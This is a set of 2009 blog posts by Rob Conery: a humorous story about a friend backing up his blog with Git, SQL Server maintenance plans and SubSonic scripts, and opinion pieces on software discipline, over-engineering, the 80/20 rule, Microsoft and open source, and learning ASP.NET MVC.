Rob Conery

Using Git as a Backup Tool

robconery — Tue, 15 Dec 2009 22:38:00 GMT

It had been a hellish week, and at this moment sleep was not an option for Phil. maybe it was the kimchee, maybe it was the realization that his blog almost shrugged off its digital coil as a result of The Great Blogtastrophe. Phil was tossing anxiously in his bed - visions of hard drives melted in his head and then…

Oh CRAP – his spine straightened in horror: “OMFG I don’t know if ROB HAS BACKED HIS BLOG UP!”. There was no time to waste – this has to be fixed. Phil raced to his machine, fear mounting as he visualized a world without Rob’s blog… horrifying… [diety] help us…

The Harsh Reality

The laptop hummed to life, bathing the room in deep red light from his Masters of the Universe desktop wallpaper. He quickly typed in his shortcut for Remote Desktop Connection, entering the address for Rob’s server in the Server Address box. And then froze. He didn’t know the login and password…

Relying on intuition and a deep dark secret he knows about Rob, Phil guessed at the login/password and nailed it the first shot. It couldn’t be that easy… is Rob such an amazing haack that he used THAT for his login? Oh no… this could be really, really ugly.

Phil was greeted with a sea of desktop icons – dlls and text files co-mingling in digital sin. Shortcuts to nowhere. He was tempted to kick up a game of minesweeper – but a glance at the clock made him realize time was running out. He pulled up SQL Server’s Management studio to analyze Rob’s backup plan and quickly saw he had none. The horror… the horror… the… horror….

“I can’t let this happen to the most awesome person I know… even if he is a complete hack” Phil thought, and his fingers went into action – creating the missing backup plan. He dropped open the Management directory and right-clicked on Maintenance Plans – selecting “New Maintenance Plan” (“Wizards are for CHUMPS” he thinks to himself). He quickly creates a backup plan and schedules it to go off 3 times a week:

He decides to be as tidy as possible – Rob needs some kind of role model here and while he’s tempted to throw the .BAK file onto the Desktop (oh delicious irony) he can’t bring himself to be that cruel. Well, he can but in this case he has a plan…

The Missing Backup Plan

Phil scanned Rob’s server in a panic, praying that his ISP had performed some type of Backup Intervention – instead all he saw were traces of tough love and Rob insisting on living life the hard way. Phil knew the hard way – knew it all too well. His blog was almost lost to his folly – he couldn’t let this happen to his most favorite person – he needed to make sure that all of his data as well as uploads was safe for all posterity!

DropBox, LiveMesh, X-Drive, SkyDrive, Mozy – the digital world is awash with people pushing backup space. Why in Fowler’s Name did Rob choose to live in this Geek Ghetto? There was no service available – nothing had ever been archived. Phil was stuck.

And then he remembered… “Didn’t Rob do some kind of post that I never read about deploying sites with Git and FTP? Hmmm, I wonder if he’s got Msysgit installed on this box. Would be weird if he did but… I wouldn’t rule it out…” Phil right clicked on a directory and was shocked and relieved to see the most wonderful prompt he’s ever seen in his life:

Git Bash Here

Setting Up The Remote

The pieces of the puzzle were starting to fall into place – he’d push Rob’s blog to a remote service! And then he’d set up a shell script using Scheduled Tasks to repeat the operation! Oh SHAZAAAM!

In a rush of inspiration Phil logged into his Unfuddle account, loading up a new Git repository just for Rob. “Happy Holidays you troll…” Phil thought. He could also have used Github since he paid for the service upgrade to have a private repository.

He added the entire directory, including the new database BAK file, to git:

git init

git add .

git commit -am "Saving Robz Assssss"

Once the initial setup was completed, he added in a remote:

git remote add backup git://haackattack.unfuddle.com:haackattack/robrocks.git

The final part was adding the script to a CMD file, with the recursive trick of adding this shell script to the archive itself:

git add . & git commit -am "Periodic backup %DATE%" & git push backup master

The only part left was to run the script to make sure it worked:

“Damn I’m good. No … no… I’m a frickin super star” Phil thought to himself. He thought these things a lot but in this case, in this one strange turn of fate, he was correct. It felt good to be correct and Phil sat back in his Aeron, savoring the moment.

The Scheduled Task

Phil opened the Task Scheduler wizard and created a basic task. He set the schedule to go off 3 times a week, and in the “Start a Program” dialog entered the path to the script he just created:

Surveying the summary, Phil felt the rush once again. He was the shine of the sun, a beacon of correctness and excellence in the dark of Rob’s world:

One Upping Rob

It was good to be right, and Phil couldn’t get enough of it. He decided that he needed to one-up Rob on his own turf, using Git and FTP to back up Rob’s blog to his own hard drive.

“I’ll show him that I’m awesome too.. ” Phil thought, “… and I’ll use his precious SubSonic to do it… yes… yes…”.

Phil headed over to SubSonic’s source at Github and grabbed the latest drop of SubSonic 2.2 – knowing that there was a handy tool called “SubCommander” that would not only script out the schema of a database, but the data as well.

He dropped the binary files to his C drive, into his SubSonic folder, and once again kicked up his text editor to create a shell script for Rob’s SQL Server Database:

C:\SubSonic\sonic.exe scriptschema /override  /out Z:\RobsBlog\ /server wekeroad.com /userid cody /password ------- /db shwerko

As he ran the script he wondered why Rob named his database “shwerko”, and also if he would ever be dumb enough to publish the real credentials on his blog in some ridiculous blog post. “No”, he thought, “not even Rob is capable of such silliness…”.

When he was done, he saw a SQL script file placed in the Z:\RobsBlog directory:

He added another command to the script to pull the data as well:

C:\SubSonic\sonic.exe scriptdata /override  /out Z:\RobsBlog\ /server wekeroad.com /userid cody /password ------- /db shwerko

And this dropped another .sql file right under the first, full of INSERT statements. Perfect!

Now for the fun part…

Hooking Up FTP and Git to Pull Rob’s Blog To an External Flash Drive

Just in case Unfuddle explodes, Phil decides to be prudent and backup Rob’s blog to his 250g external flash USB drive that he got for last Christmas from Jeff Atwood after they got into an argument about who could do the worst job backing up their blogs. Phil recalls that perhaps Jeff won this argument:

One thing's for sure: until you have a backup strategy of some kind, you're screwed, you just don't know it yet. If backing up your data sounds like a hassle, that's because it is. Shut up. I know things. You will listen to me. Do it anyway.

Redundancy. That’s what Rob needs. Redundancy. That’s what Rob needs and I’m sure of it. Phil decides to map a drive to Rob’s FTP server so he can do some Git magic over FTP. Phil’s running 64-bit windows and knows that the only thing he can do is to purchase WebDrive since it’s the only reliable way (as of this crazy, stressful evening) to wire a hard drive to an FTP site. He used to run NetDrive happily on his 32-bit installation of Windows ME and it worked great.

He kicks up WebDrive and maps his W: drive to Rob’s site root, happy to see the “.git” folder in there. He knows that if it wasn’t in there he could easily put it there by using the following commands (since Git doesn’t see the FTP part – only another drive on the machine – WebDrive handles the plumbing):

git init

git add .

git commit -am "Loading up Robs sorry blog"

Phil creates a directory on his backup drive and calls it “BlogArchive” and then issues the simple clone command for Git – pulling down Rob’s blog – noting that WebDrive is acting as middleman here:

To complete his masterpiece of extraordinariness, Phil puts this all in a script which he can execute as needed, pulling down the data as well as all the assets at once, storing them on his flash drive:

git pull origin master &&

C:\SubSonic\sonic.exe scriptschema /override /out K:\BlogArchive\Hana\ /server wekeroad.com /userid cody /password ------- /db shwerko &&

C:\SubSonic\sonic.exe scriptdata /override  /out K:\BlogArchive\Hana\ /server wekeroad.com /userid cody /password ------- /db shwerko

In reviewing his work, Phil thought it was good. He felt a restfulness come over him as he realized he had just saved Rob’s blog from possible oblivion. Not only that, he could now look at Rob’s source code for Hana and maybe plug some of it in to Subtext…

The room stayed lit that night, bathed in the red glow of Phil’s desktop wallpaper… and his feeling of accomplishment.

“I wonder if Galloway has a backup plan…” thought Phil, and kicked up Remote Desktop Connection once again…

My Enemy, My Self

robconery — Mon, 31 Aug 2009 19:46:02 GMT

I’m building an application which I’ll talk more about later – but this one’s different from other applications I’ve built: this one’s for me. In the same way teaching your spouse/significant other how to do X is a major pain in the ass, building your own application makes you do dumb, silly things (I think Jeff Atwood might be able to back me up on this one…). This, friends, is a story of my pain to ease your Monday blues.

Starting Out Seemed So Simple…

I had an idea, and the idea was good. So I decided to build an application around this idea and I got together the various tools and things that I thought I would need. I played with the idea of using Rails (for a change – why not), but then a curious thing happened: my inner Type 1 Ass-kicker decided to wake up:

This aint no disco butthead. Build using something you know, stop dicking around!

He’s a real dick – that inner Type 1 Ass-kicker (we’ll call him Bad Rob) and if I don’t listen to him – or at least make him *think* I’m listening to him, well things will just get ugly.

I ditched my Rails musings and plowed ahead with ASP.NET MVC. I grabbed my favorite testing tools, updated jQuery with my favorite plugins, and I was off to the races. With one exception – I snuck in a last-minute substitution while Bad Rob wasn’t looking: DB4O. Here are the tools I went with:

ASP.NET MVC 1.0
Machine.Specifications (BDD testing stuff)
XUnit (love u Brad!)
jQuery UI – full suite, ajaxForm plugin, validation plugin
DB4O – just because.

I’ve written about using DB4O before – I love the thing. Persistence made easy! I kicked up VS and got ready to roll…

Good Rob, Bad Rob

That’s when the fun started. See, Good Rob (the guy who likes to write tests *first*, the guy who tries to vet just WTF he’s going to do and why) would have sat down and cranked out some specs against some type of iteration and time plan. Then maybe tied everything to a nice build server (which is purring away at my webhost) and… yadda yadda yadda.

Whatever Nancy-boy, it’s not like you’re getting paid to dick around here and no one’s gonna see your code! This site needs to go LIVE so get ON IT. Yah testing is fun – test whatever you want – AFTER YOU’RE DONE.

And there it is: business vs. process. The best part is that this Fight Club dialog is taking place right inside my skull, and Bad Rob is playing on my fear of “getting something done” while Good Rob wants to do it right.

Yikes. Dueling success metrics (such a lovely corporate term): “results” vs. “quality”.

Digression

Yes, this kind of thing is common – in fact it’s expected – in every ~~software~~ project ever undertaken. It doesn’t matter the company and in fact it happened to me at Microsoft. I was working with a team right after I started and I was about a week into the work when we had a team meeting and I was asked to “give a demo”.

“I don’t really … umm… have anything to show… oh wait yah I do – take a look at my test results so far.”

And the room erupted into laughter. “Nice! We don’t have an app but we can show our users some great test results!”

Granted – they were teasing me. All the same I couldn’t help feel that the expectation was that I needed to Show Something. Next time I’m in that situation I’ll be smarter and bring some HTML mockups – either that or Balsamiq.

Good Rob Loses

As always, time is short when doing these things. Bad Rob was continuously reminding me that I needed to get this thing done and out and I gave in to the pressure. It really sucks to give in like this, but Bad Rob can be awfully, awfully convincing.

So I appeased him – I wrote the app quickly and cranked out the initial spec, and the decided I would back everything up with a set of tests. I really, really like the BDD approach so I started with that, and I gave myself 3 hours to write as many tests (errrr specs) as I could.

And then all hell broke loose.

I wish I could surround the following paragraph in glitter and flashing lights, because it’s something that I had forgotten by being “out of the mix” for a few years. I was surprised at myself – so much so that Bad Rob started to panic and got really pissed off at Good Rob for writing “such crappy code”. Here’s what happened:

In my haste to write said application, I managed to goof up one of the main specs. I thought I was doing it right, but…
When I started to write my tests I realized this error, and I started to fix it. This “fix” led to me refactoring a lot of “slop” that I had left until later – the “technical debt” if you will that I figured I’d refactor when I was testing.
The slop started to build, and the refactoring started to spiral. I was fixing things that I knew I shouldn’t have done – things I would have dealt with properly had I slowed down. Next thing you know the entire app was in pieces on the floor…
Including my tests. I had about 50 or so written and now I was commenting out my tests liberally – they were invalid and I felt really dumb for writing them in the first place without using them to validate the code I was going to write!

What was supposed to be a 3-hour fun session of writing tests turned into much more and ended with a shouting match between Good Rob and Bad Rob, with Good Rob threatening that he was “going to BLOG THIS” (looks like he went ahead and did that…).

Back On Track

I wasted hours and hours retro-fitting my little application and stuffing Bad Rob back into his id-box. As I say I knew better, but feel prey to the “we need it NOW” bomb that Bad Rob kept lighting off.

What I should have done was this:

Use Tools you know. I like DB4O a lot – and it worked perfectly as a testing “Fake”. I ran into some problems with it (which I’ll talk about later) and what I should have done was go with something I know.
Write out your specs. I should have written out the specs and behaviors of my app and formalized it into a testing suite. At least 20 or so to get going. Adjustments are easy and reading the behaviors crystallizes WTF you are doing in the first place. If you’re not a BDD fan – then write your tests in “comment form” – just to get the ideas down.
Have some damn discipline. I know I’ll need ViewModels to handle complex UI logic, I know I’ll need Service classes to handle specialized domain logic as well. I’ve built this application many, many times before – I know what’s out there. Yes – YAGNI and all but in terms of structure, there is arm-waving and then there’s reality. These things I know.

What I ended up doing was:

Moving to SubSonic. I know it like the back of my hand and the SimpleRepository fit the bill nicely. I was also able to add some cool features in (which I’ll talk about later). DB4O is great, but if I’m really in a hurry then I need to stick with what I can make sing.
Stopping everything and specc’ing (how the hell do you spell that word?) out every last element of what I was building while thinking it through from end to end.
Write code *only* when you have a mandate to do so. Yah I’m a smart guy and yes, I can juggle things in my head – I’ve been doing this for a long time. I was wrong, however, when I started to assume.
Stopped worrying about domain names and CSS and didn’t look at the web app for the rest of the day.

The Score Card

For those of you who don’t think “qualitatively” – here’s the breakdown on lost time:

I had a 40% loss on rewriting existing tests
a 25% loss on refactoring things the way they should have been done in the first place (using Services, View Models, etc)
a 40% loss on removing DB4O and going with SubSonic. Caveat: I didn’t *need* to do this but I had a gut feeling.
a 30% loss on restructuring my repository to be less DB4O-specific (using Add/Update methods, removing Flush/Commit). This was dumb.

Overall I would have been 1/3 ahead had I “done things right” – or more appropriately I would have finished in 2/3 of the time. That’s a lot of time!

Summary

The only reason I got so derailed is because I have a major stake in this thing’s outcome. I can forgive myself – just this once – for getting carried away and I’m happy that the damage wasn’t too great.

Bad Rob is happy that the app works and it’s lighter and more nimble than before. Good Rob is happy because his assumptions are covered and he can see the light at the end of the tunnel.

You’re Not Your Data Access

robconery — Fri, 12 Jun 2009 03:50:33 GMT

Seems I touched off a bit of a “swirl” with a comment I made on my last blog post:

I think, in general, the .NET crowd overthinks and over-engineers just about everything

I said as much in my MIX presentation, where I basically challenged ASP.NET developers to “embrace their inner scripter” and stop building rockets. I have a fairly strong opinion on this – and I’ll save that for another time – but I think it’s high time to remind folks that there’s a lot more to an application then how you get your app gets it’s freak on with your database.

Good Morning!
I remember watching Fight Club for the very first time back in the thick of the very first DotCom bubble. I was feeling pretty ill that day so I stayed home and watched the DVD, and was pulled in pretty dramatically. One line still resonates with me:

You're not your job. You're not how much money you have in the bank. You're not the car you drive. You're not the contents of your wallet. You're not your f******* khakis.

I feel the same way about building software: You’re Not Your Data Access.

When I watched that movie I had just bought a nice pair of $180 Kenneth Cole shoes to wear to a client’s VC meeting, to go with my groovy business-casual Cornflower Blue button down shirt. I clearly remember looking over at my closet – the feeling of fashion sobriety coming over me – wondering what I had turned into (if you knew me then you’d know I don’t like wearing that kind of stuff. I’m happy in a white t-shirt and shorts).

I had this same feeling when I popped my head out of the .NET community just 4 years ago (before I worked at Microsoft) to see what this “Rails thing” was all about. I remember the feeling well – and it was very, very sobering and inspiring at the same time. I remember creating an application in fairly short order with all the requisite pieces put where they needed to be put, with every tutorial urging me to “stop thinking – just build”.

Camaro Programming
The .NET platform is pretty dang powerful. It lets you build your own personal Tower of Babel if you so choose, and it can abstract away the very fabric of space-time if you let it. In short it’s a killer set of tools that any mechanically-inclined person would love to use. So naturally it can be very easily abused!

Consider my good friend Eric. I’ve written about Eric a few times before – but in summary he’s my token wrench-head friend that loves his engines and American cars. I lived with this guy for years and he rapidly filled up our garage with parts and *crap* from every car he’d ever owned. And he could dutifully tell you which part went to which car and what that part did – no matter if it was useless.

Eric built and maintained a hunk of junk 1968 Capri which we used to call “The Crappy”. This thing could drive – and I mean really drive – I think Eric pushed it to 180 mph once on a closed race course. It had that sound that all muscle cars make – the sound that makes your ribs shake and your inner 16 yr old say “coooooolll!”.

The problem was that no one ever wanted to drive in it. It smelled, it was ugly, and it absolutely sucked the gas down. Eric would steadfastly defend his Crappy because “it was the easiest car in the world to work on” and “could blow doors on any production car from any country”.

“Yah but when do you really need to go 180 miles an hour man?”

“When I race dammit”

I don’t need to draw the parallels here. I think you get it.

Let it Go Already
I want to be perfectly clear about what it is I’m saying here, and that is that it’s very, very easy for the geek inside us to whisper sweetly in our ears, saying “this Super Massive Paradigm Shifter will be the biggest application EVAR… don’t mess it up!”. I felt this very sensation when starting … well every app that I ever made.

I don’t like being wrong – no one does. So defensively I’ll be sure to include patterning where I can, making sure to separate out my projects whenever it … seems like I’ll crap for not separating out what I’m doing into another project.

I’ll use enums instead of boolean parameters.

Oh wait, no I won’t.

I’ll be sure to avoid Singletons

I’ll absolutely never use Stored Procedures, I mean seriously never, ever, ever (unless Rob Howard tells me to). Or maybe unless my boss tells me to. I’ll let Jeff decide.

I’ll always use Stored Procedures.

I won’t use NHibernate

I won’t use any ORM for that matter. Seriously - Never.

Well I might use both…

I won’t use Code-coverage to tell me anything.

I’ll be sure to use Code-coverage data to tell me everything.

I’ll make sure my method and variables are named properly on Fridays.

Reflection? Not a chance. Unless Rick says it’s OK.

I won’t use Extreme Programming (I’ll be sure to use Lean… whatever that is)

I’ll be sure not to have scrums.

I’ll also be sure not to multi-task.

I won’t use configuration either – hard-coding FTW!

I won’t use static methods

I won’t use extension methods

I’ll keep Native American stereotypes out of my code.

I’ll make sure that all my methods are public and never sealed or internal

I’ll check twice before I use any of these evil keywords.

I’ll also make double damn sure not to use regions in my code – ever.

I won’t use VB (who would?) and I’ll be sure to use C# with great care.

I won’t use Composite Keys in my database

And I’ll be very, very sure to keep away from Norway.

You wake up at Seatac, SFO, LAX. You wake up at O'Hare, Dallas-Fort Worth, BWI. Pacific, mountain, central. Lose an hour, gain an hour. This is your life, and it's ending one minute at a time. You wake up at Air Harbor International. If you wake up at a different time, in a different place, could you wake up as a different person

Let.

It.

Go.

Summary
Simplicity is beautiful. Simple doesn’t mean hard-coding, it doesn’t mean cutting corners or being sloppy – it means building what you’ve been asked to build, not a rocket to Saturn and most of the time it’s a skateboard to the corner store.

Not every application needs to be stitched together from Codebetter posts and Twitter rants. Focus on what’s important – the experience, not what’s under the hood. You’ll change that quite a few times no matter what you think :).

Jumping The 20 Fence

robconery — Fri, 22 May 2009 07:44:00 GMT

Before I worked at Microsoft I worked at/with/for various startups. Depending on who you talked to, I was involved in building rockets, the Next Big Thing, and a Super Whamadyne Paradigm-Shifter. Since I’m not a millionaire and you don’t see my face on Wired you can guess that those things didn’t quite pan out.

There are a lot of reasons why projects don’t “pop” – but in some ways I think people can tell if they are “gazing wantonly in the pond’s reflection” by constantly asking a set of simple questions:

What are we doing?
Why are we doing it?
What do we hope to get out of it?

A lot of people would say “sure – that’s what ya call a Mission Statement Rob!” and in some ways, I spose it is. But the next part is the hardest:

Does it motivate you?

The Hard Truth
In every human endeavor the 80/20 rule (aka Pareto principle) cruelly applies – which is effort/payoff are inversely related. This principle is at the core of the just about any time/management book/philosophy – and these things usually boil down to constantly shifting your focus to “what’s important” (aka the 20%).

It seems the 80/20 thing is built in to the fabric of the universe, along with some other groovy numbers. Most large software companies have come to realize this – including Microsoft:

"One really exciting thing we learned is how … a relatively small proportion [of bugs] causes most of the errors," Ballmer wrote in his three-page memo. "About 20 percent of the bugs causes 80 percent of all errors, and--this is stunning to me--1 percent of bugs caused half of all errors."

If we apply logic here then the opposite of this statement must be true as well:

80 percent of the bug-free functionality is produced by 20% of the code.

If that’s true – we’re writing way too much crappy code. Let me reword that – 80% of the code we write does 20% of the work and contains the bulk of the bugs (my math skills got lost there). Which side of the 80/20 code pool are you swimming in?

Sherman, Set the Wayback Machine
It’s 2000 and I’ve just ordered a tin of Pringles and The Fragile (Right and Left) from Kozmo. It’s 11pm and I should be at home, but I’m hammering away on my client’s app, trying to get a demo ready for Yet Another VC Who Wants To See Stuff Spin. I’m cranky, tired, and my wife is getting tired of this constant circus of late nights.

The phone rings as the speakers are blaring in our Live/Work Loft/Office on 2nd and Brannan and I’m listening to Trent growl his way through “The Wretched” and I see the area code – it’s New York. My client. Crap.

After 10 minutes of telling him everything’s on pace, he recaps what he wants to see. Amazing – he added 4 new requirements! How very … like him.

I ask him the question:

“What are we doing again? I mean what’s your goal here anyway once all of these demos are done and you’re really rich.”

I hear gasps on the other end of the phone, some choice swear words that involve an ice-pick and my retina, and then *click*.

The phone rings 5 minutes later and it’s The Client. “Do you mind telling me just what the **** you’re asking me these questions for you ****in moron?”. I’m used to “the East Coast” thing by now and I reassure him I know his requirements – I understand the specs and priorities – we’ve been through it a ton. I know about the demo.

I want to know about the day after the demo.

His answer was simple: “We’ll be millionaires. Who gives a **** what else – we’ll be the next tech IPO and you can buy your wife a maserati so **** off and build my ******* app!” (the East Coast thing gets annoying at times – but you get used to it. Don’t get me wrong – I like the other side of the country and all, but they can get pretty spun up over there).

We got the funding – a lot of it. And the company still managed to fail – I think it’s when investors figured out my client was full of crap. I should have figured it out too – but back then everyone was involved in an IPO or buyout. It was a “Craigslist Party” of geeks and power money and you just didn’t ask questions. Or so I thought.

What’s Your Answer?
Twice I’ve worked on a winning application – and it feels great. And by “winning” I mean the client and their clients were stoked, and it literally made people cry. One of my very first applications – an info portal for Ameritech (now PacBell) was one such application. It was so very, very simple that it had to work – it was a classic ASP app (I wrote this in 1998) that used IndexServer to crawl over 12,200 documents scraped from their mainframe.

Their existing app was a terminal-based app and it was all paging and CTRL- shortcuts the user had to memorize. I made a web interface (we called it the “Yahoo UI”) that worked on fuzzy search and BAM – scraped 30 seconds off the average “satisfaction timer”. This meant the call center reps could answer people 30 seconds faster than before without the carpal-tunnel and by using the “new web thing”. I’m not kidding you – one of our User Acceptance participants (an actual rep) started to cry.

If you asked me or any member of that team what we were doing we would have said the following (with minor variations):

We’re building a web app to reduce the time to answer for call centers
We’re doing it because our existing app sucks and it’s too hard to learn. Turnover is killing us.
We hope to have happier call center folks and happier customers

These answers are all kinds of win because they’re grounded in something real: making a job easier/better/faster. They don’t involve greed and aren’t out to change the way the Earth spins – simple and direct and dare I say truthful.

Smelly Answers
I’ve asked these questions various times over the years and aside from my client from hell above, I’ve received some real winners:

“We’re going to be the Premier [WHATEVER] and direct all buyers of [X] to use our service and we’ll make wads of cash”
“We’re going to Change the Game with this app, and in doing so make wads of cash”
“We’re going to dominate the [BLAH BLAH] space – we’ll actually become the internet. We’ll make wads of cash”
“Right now there’s a massive void out there and we’re going to fill it. We don’t know how we’re going to make money – but we’ll get there soon enough”
“I don’t know really – I’ve been told to build this thing so I called you. I need a beer.”

People and technology are funny and scary at the same time. Sort of like clowns. When I tell people what I do they get a really weird look in their eye (you know the look I mean) and sometimes I don’t know if I’ll be “fixing their internet” or hearing their great new idea to make tons of money. I, evidently, am a bit like Willy Wonka:

“We are the music makers, and we are the dreamers of dreams”

Mr. Wonka also offered a followup – which I hold to very tightly:

“You should never doubt what no one is sure about”

If we agree, by now, that this 80/20 thing has some merit, then it stands to reason that there’s an 80% chance you’re working on a project with a smelly set of directives. You ended up here by the various laws of the universe that sprinkle geeks across projects like salt and pepper – but you don’t have to be the 80% tripe!

You can change this: you can jump the 20% fence. You just have to help your team face the problem plaguing them – which is usually a weird direction that has to do with wads of cash, changing the game, or shifting some paradigm.

Get their heads back in the game and make sure you’re kicking ass for humanity – and you can figure this out pretty quickly by asking some simple questions and listening for:

Delusions of grandeur
“Wads of cash”
“I don’t know yet” spoken 2 or more times
The solution isn’t a win/win (you, client, end-user)
Frustration at the question

If you don’t get concrete answers point to YouTube: a really dead-simple app that makes people really happy. Just like a puppy or a kitten – without the poop. Or Twitter – one of the silliest, most relevant applications ever made (that has yet to make a dime… but anyway).

You can change things – you really can. As long as your team is willing to listen and engage and if they’re not, well maybe it’s time to look for the golden 20% out there.

What Should Microsoft Do For .NET Open Source?

robconery — Mon, 04 May 2009 17:39:05 GMT

I've been reading a lot of old blog posts tonight regarding Microsoft and Open Source - it really reminds me of the interesting stances the company has taken over the last 5 to 10 years (I've only been working with Microsoft for just about 2 years now). For instance - I read a post from Scoble that goes over why "Web 2.0 entrepreneurs" don't trust the M$ Stack - and I must say, it's a pretty interesting read and the points that Scoble raises are still felt pretty strongly:

As I’ve been going around the world I’ve been meeting with many people who’ve built their companies on non-Microsoft stuff. Some of whom have companies worth billions of dollars now. Some of whom you’ve never heard about unless you read TechCrunch. Here’s 12 reasons Web 2.0 entrepreneurs like Ross tell me that they aren’t using Microsoft’s stuff:

1) Startup costs. Linux is free. Ruby on Rails is free. MySQL is free.
2) Performance per dollar. They perceive that a Linux server running Apache has more performance than IIS running .NET.
3) Finding tech staff is easier. There are a whole new raft of young, highly skilled people willing to work long hours at startups who can build sites using Ruby on Rails.
4) Perception of scalability. The geeks who run these new businesses perceive that they can scale up their data centers with Linux and not with Windows (the old “Google runs on Linux” argument).
5) That Microsoft doesn’t care about small businesses. After all, Microsoft is an evil borg, but Ruby on Rails comes from a single guy: David Heinemeier Hansson. He has a blog and answers questions fast.
6) That open source makes it easier to fix problems and/or build custom solutions. A variant of the old “Google or Amazon couldn’t be built on Windows” argument.
7) On clients, they want to choose the highest-reach platforms. That doesn’t mean a Windows app. Or even an app that runs only in IE. It must run on every variant of Linux and Macintosh too.
8) They don’t want to take shit from their friends (or, even, their Venture Capitalist). Most of this is just pure cost-control. I can hear the conversation now: “OK, you wanna go with Windows as your platform, but is the extra feature worth the licensing fees for Windows?”
9) No lockin. These new businesses don’t want to be locked into a specific vendor’s problems, er products. Why? Because that way they can’t shop for the best price among tools (or move to something else if the architecture changes).
10) More security. The new businesses perceive Linux, Apache, Firefox, and other open source stuff to have higher security than stuff built on Windows.
11) More agility. I’ve had entrepreneurs tell me they need to be able to buy a server and have it totally up and running in less than 30 minutes and that they say that Linux is better at that.
12) The working set is smaller. Because Linux can be stripped down, the entrepreneurs are telling me that they can make their server-side stuff run faster and with less memory usage.

I'd love to know if these opinions have softened at all - or if they've been further reinforced - especially given the release of ASP.NET MVC (and it's subsequent listing on Codeplex under Ms-PL). I'm going to guess that they're roughly the same: people will believe what they're going to believe and for some reason, when it comes to Microsoft, changing people's minds is really hard.

One thing that's particularly interesting to me is that Microsoft, at least some divisions, are actively changing their "thinking" if you will to a more open posture. The Ms-PL of ASP.NET MVC (mentioned above), some of the work that Developer Division is doing with the Mono team, and the source availability of the entire .NET stack (yes, I know it's still not open) are evidence of a shift in thinking.

Great! But now what?

Clearly openness and transparency is super groovy - but then what? I'm a huge champion of the open and transparent thing and I've been able to do some great stuff in the open with the MVC Storefront and I've taken you along with me. I like to think that I was brought to Microsoft to help keep "rolling the bubble" towards more openness - but I have no way of knowing where the rowers are a-rowing; so I just keep plugging along and thankfully they're letting me :).

The Storefront has been a great learning tool, and a lot of people have thanked me for it (and you're all very welcome! I learned a ton too). But now what?

It was always my intent to pop what I did up on Codeplex and share it with people with the idea that if it had legs - well hooray! So far I have every reason to think it will become quite the open, flexible, "new thinking" type of application that people can learn from, use, extend, and so on. It fires me up and makes me pretty happy because I really like Open Source and what it can do.

But then again - I'm a Microsoft employee and this is a Microsoft project, after all. They've given me tremendous latitude to do with it what I will so people can learn core concepts surrounding ASP.NET MVC. That part is sort of done, and now we have Kona - an app that I'm hoping will be somewhat influential with respect to Open Source apps built on ASP.NET. Nice idea - but then there's the fact that I work on the ASP.NET team.

What does it mean to you that I'm an MS Employee, on the ASP.NET team, building an OSI-licensed ecommerce app? Do you think Microsoft should do more things like this in a more formal way? Or should it stay out of the picture and let others run with this kind of thing?

There are so many questions that I have in my head - and I'm very, very interested to know what you think here: What do you think Microsoft should do with respect to Open Source and .NET?

I Spose I’ll Just Say It: You Should Learn MVC

robconery — Thu, 23 Apr 2009 02:24:00 GMT

I’m never shy about my opinion – why start now? I’ve been reading a lot of posts flying about on whether you should learn MVC, Summing up the differences so you can decide when to use it, I even found a post that offers a scorecard approach! I remember reading the latter post thinking to myself “how can you possibly put a number next to Testability? And why it is only 2 more points than “using a RAD designer”? Isn’t this missing the entire point?

I felt the need to speak up a bit so I left a comment on DotNetKicks:

Please don't use this "scoring" chart with respect to MVC and WebForms. Honestly - you can't "score" something like "should I care about Testability" (which rates an 8) against "do I need to use this Server Control" (which scores a 10). There are so many problems with approaches like this - really the only answer is to *try it* and see if it works for you or your org.

Today I read a post on StackOverflow which was pretty contentious wherein the author says:

I've been fiddling with ASP.NET MVC since the CTP, and I like a lot of things they did, but there are things I just don't get…

<snipped ugly viewcode>

Am I doing something wrong? Because I spent many dark days in classic ASP, and this tag soup reminds me strongly of it.

Everyone preaches how you can do cleaner HTML. Guess, what? 1% of all people look at the outputted HTML. To me, I don't care if Webforms messes up my indentation in the rendered HTML, as long as I have code that is easy to maintain...This is not!

I have definite opinions on this, and today you get to read them. Note that I pushed Scott Hanselman really hard when we wrote our book (which I think is shipping today!) to come out AND SAY SOMETHING (Chapter 3 – a discussion on MVC and WebForms – and he did an amazingly good job). It’s too easy to think “hey – I’m Microsoft – I need to stay balanced here so I don’t offend” and there’s merit to that.

I, on the other hand, think we should also be able to speak our minds. In that light, I present to you my latest effort at getting in trouble: why you need to read this post, get up, and learn what MVC is all about (if you don’t already know).

The Great Lie
WebForms is a lie. It’s abstraction wrapped in deception covered in lie sauce presented on a plate full of diversion and sleight of hand. Nothing you do with Webforms has anything to do with the web – you let it do the work for you.

This, friends, is a big deal (at least to me): You’re working in a lie. The web is *not* stateful and works with this stuff called HTML sent across wires using another thing called HTTP – you need to know this, love this, and feel it at the bone level. I understand this sentence right here is probably making some of you squirm – please continue squirming (I’ll wait).

If you’re still squirming, then perhaps web development isn’t for you (meant very respectfully and kindly – not being snarky). I say this because you shouldn’t work in a sausage factory if you’re allergic to pork, beef, and ground up animal parts. Nor should you put a wig on your cat and hope that it can sing like Susan Boyle.

These are self-deceptions put in place to make you feel better about something lacking, and it’s usually not healthy. If you’re thinking that you don’t need to know HTTP/HTML to work on the web… you’re doing it again! Please see 2 sentences ago.

If you’re still thinking it – your cat needs a new wig.

MVC Is Elite-test?
I’m sure that WebForms people are probably thinking I’m being a bit of a sh** right now – and I’d like to speak to that. The title of the post here is “You Should Learn MVC” – not that you have to use it (although I wish you would – it’s tons of fun!). That’s all I’m asking – for you to learn it; I’m not telling you that you’re a bad person if you don’t use it (only that you put wigs on your cat).

MVC Is Full of Tag Soup?
Once again, I’ll say this: Spaghetti is as Spaghetti does. I don’t like to see a bunch of if’s and fors on my View the same as any other geek. This, friends, is up to you! Not the platform! Please read this: markup is up to you, as with everything else in MVC. Yes it’s not drag and drop – but nothing ever is in life! It’s new, it’s different – it’s not 1999 if only because we have the power of C# now – not VBScript.

I’m not afraid of HTML – and you shouldn’t be either. Respect it when putting code to page and use DRY as your guide. We can make it through this, together. You can bring your cat, too.

7 Reasons To Stop Calling Me A Jerk
Hopefully you’re still here, and hopefully you’re thinking “enough of the blather already – gimme something to sink my teeth into”. So here goes:

1 – Testability. No – not talking about the TDD variety, just testing in general. If you’re “not a testing person” that’s OK – the rest of the computer science world has embraced the idea that “testing what we build is a pretty good idea”. You don’t really want your clients to catch that silly “InvalidCastException” do ya? There’s LOTS of reasons to want to test – again not TDD – just good old Unit Testing! It’s easy peasy with MVC and this alone should pull you in to at least check it out – along with why testing can save you time and money.

